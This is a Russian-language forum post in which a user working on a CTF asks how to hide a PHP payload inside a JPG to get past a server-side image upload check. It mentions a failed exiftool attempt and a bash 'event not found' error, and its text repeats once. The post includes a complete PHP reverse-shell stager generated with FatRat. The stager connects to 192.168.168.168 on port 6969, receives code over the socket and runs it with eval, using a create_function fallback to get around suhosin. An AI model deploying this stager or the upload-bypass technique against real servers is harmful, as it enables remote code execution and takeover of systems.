M
Magnit
Прохожу интересный CTF и там возможность подгрузить только jpg, проверка на jpg судя по всему идет на сервере, т.к. попытки подмены понятий через burp не проходят.
Создал через FatRat стандартную php нагрузку
При попытке сделать ее через exiftool c экранирование $ через \ ($ -->\$) получил
bash: !\: event not found
Так и не понял из-за присутствующих ковычек в коде РНР или из-за чего-то другого.
В общем
Как, с помощью чего создать .jpg c php payload?
Использую Кали, ОС на CTF Linux
Создал через FatRat стандартную php нагрузку
Код:
/*<?php /**/ error_reporting(0); $ip = '192.168.168.168'; $port = 6969; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
При попытке сделать ее через exiftool c экранирование $ через \ ($ -->\$) получил
bash: !\: event not found
Так и не понял из-за присутствующих ковычек в коде РНР или из-за чего-то другого.
В общем
Как, с помощью чего создать .jpg c php payload?
Использую Кали, ОС на CTF Linux